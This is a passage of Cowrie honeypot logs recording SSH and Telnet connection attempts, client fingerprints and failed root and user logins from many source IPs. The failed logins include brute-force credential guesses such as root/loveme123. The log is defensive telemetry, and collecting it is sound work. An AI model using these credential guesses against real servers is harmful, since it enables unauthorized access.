16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:44.621387Z","src_ip":"162.241.239.202","session":"3d4ab8576922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blast","password":"blast999","message":"login attempt [blast/blast999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:44.698817Z","src_ip":"162.241.239.202","session":"3d4ab8576922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:45.728215Z","src_ip":"162.241.239.202","session":"3d4ab8576922","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":50570,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f478f03e1d1","protocol":"ssh","message":"New connection: 23.88.42.180:50570 (10.17.0.5:22) [session: 6f478f03e1d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:04.585143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:04.589184Z","src_ip":"23.88.42.180","session":"6f478f03e1d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:04.685863Z","src_ip":"23.88.42.180","session":"6f478f03e1d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"agix456","message":"login attempt [root/agix456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:04.976989Z","src_ip":"23.88.42.180","session":"6f478f03e1d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":40380,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f5e5db5049f","protocol":"ssh","message":"New connection: 143.20.185.207:40380 (159.203.135.109:22) [session: 8f5e5db5049f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:05.943080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:05.951214Z","src_ip":"143.20.185.207","session":"8f5e5db5049f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:06.067082Z","src_ip":"143.20.185.207","session":"8f5e5db5049f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:06.074669Z","src_ip":"23.88.42.180","session":"6f478f03e1d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZVPS8VCPU32GBAMD","message":"login attempt [root/XYZZVPS8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:06.471559Z","src_ip":"143.20.185.207","session":"8f5e5db5049f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.154.85","src_port":48900,"dst_ip":"159.203.135.109","dst_port":22,"session":"14e32389964c","protocol":"ssh","message":"New connection: 146.190.154.85:48900 (159.203.135.109:22) [session: 14e32389964c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:07.263762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:07.269650Z","src_ip":"146.190.154.85","session":"14e32389964c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:07.344096Z","src_ip":"146.190.154.85","session":"14e32389964c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:07.594796Z","src_ip":"143.20.185.207","session":"8f5e5db5049f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dl2","password":"dl2","message":"login attempt [dl2/dl2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:07.649572Z","src_ip":"146.190.154.85","session":"14e32389964c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:08.729616Z","src_ip":"146.190.154.85","session":"14e32389964c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.38.41","src_port":39400,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ceda187fa63","protocol":"ssh","message":"New connection: 165.232.38.41:39400 (159.203.135.109:22) [session: 0ceda187fa63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:24.124681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:24.127990Z","src_ip":"165.232.38.41","session":"0ceda187fa63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:24.199204Z","src_ip":"165.232.38.41","session":"0ceda187fa63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveme123","message":"login attempt [root/loveme123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:24.518083Z","src_ip":"165.232.38.41","session":"0ceda187fa63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:25.593183Z","src_ip":"165.232.38.41","session":"0ceda187fa63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.16.244.39","src_port":34035,"dst_ip":"10.17.0.5","dst_port":22,"session":"58c6b0fcc067","protocol":"ssh","message":"New connection: 177.16.244.39:34035 (10.17.0.5:22) [session: 58c6b0fcc067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:37.587085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:37.590552Z","src_ip":"177.16.244.39","session":"58c6b0fcc067","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:37.713083Z","src_ip":"177.16.244.39","session":"58c6b0fcc067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"supersuper","message":"login attempt [root/supersuper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:38.237762Z","src_ip":"177.16.244.39","session":"58c6b0fcc067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:39.364082Z","src_ip":"177.16.244.39","session":"58c6b0fcc067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.18.197.35","src_port":50342,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0592853466e","protocol":"ssh","message":"New connection: 154.18.197.35:50342 (159.203.135.109:22) [session: a0592853466e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:42.070237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:42.075296Z","src_ip":"154.18.197.35","session":"a0592853466e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:42.294212Z","src_ip":"154.18.197.35","session":"a0592853466e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.203.232","src_port":57006,"dst_ip":"10.17.0.5","dst_port":22,"session":"b721d33291a8","protocol":"ssh","message":"New connection: 38.242.203.232:57006 (10.17.0.5:22) [session: b721d33291a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:42.545660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:42.550127Z","src_ip":"38.242.203.232","session":"b721d33291a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:42.640073Z","src_ip":"38.242.203.232","session":"b721d33291a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password@","message":"login attempt [root/password@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:42.955390Z","src_ip":"38.242.203.232","session":"b721d33291a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Windows2008","message":"login attempt [root/Windows2008] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:43.206517Z","src_ip":"154.18.197.35","session":"a0592853466e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:44.047695Z","src_ip":"38.242.203.232","session":"b721d33291a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:44.429601Z","src_ip":"154.18.197.35","session":"a0592853466e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44612,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbf32eeca857","protocol":"telnet","message":"New connection: 170.64.224.25:44612 (159.203.135.109:23) [session: fbf32eeca857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:44.865603Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.123.134.194","src_port":51576,"dst_ip":"159.203.135.109","dst_port":22,"session":"760d860c34d1","protocol":"ssh","message":"New connection: 34.123.134.194:51576 (159.203.135.109:22) [session: 760d860c34d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:46.157936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:46.161823Z","src_ip":"34.123.134.194","session":"760d860c34d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:46.200253Z","src_ip":"34.123.134.194","session":"760d860c34d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"thumbs","password":"thumbs","message":"login attempt [thumbs/thumbs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:46.454467Z","src_ip":"34.123.134.194","session":"760d860c34d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:47.601958Z","src_ip":"34.123.134.194","session":"760d860c34d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":35690,"dst_ip":"159.203.135.109","dst_port":22,"session":"52736382294f","protocol":"ssh","message":"New connection: 159.65.58.200:35690 (159.203.135.109:22) [session: 52736382294f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:51.091479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:51.233305Z","src_ip":"159.65.58.200","session":"52736382294f","protocol":"ssh"}
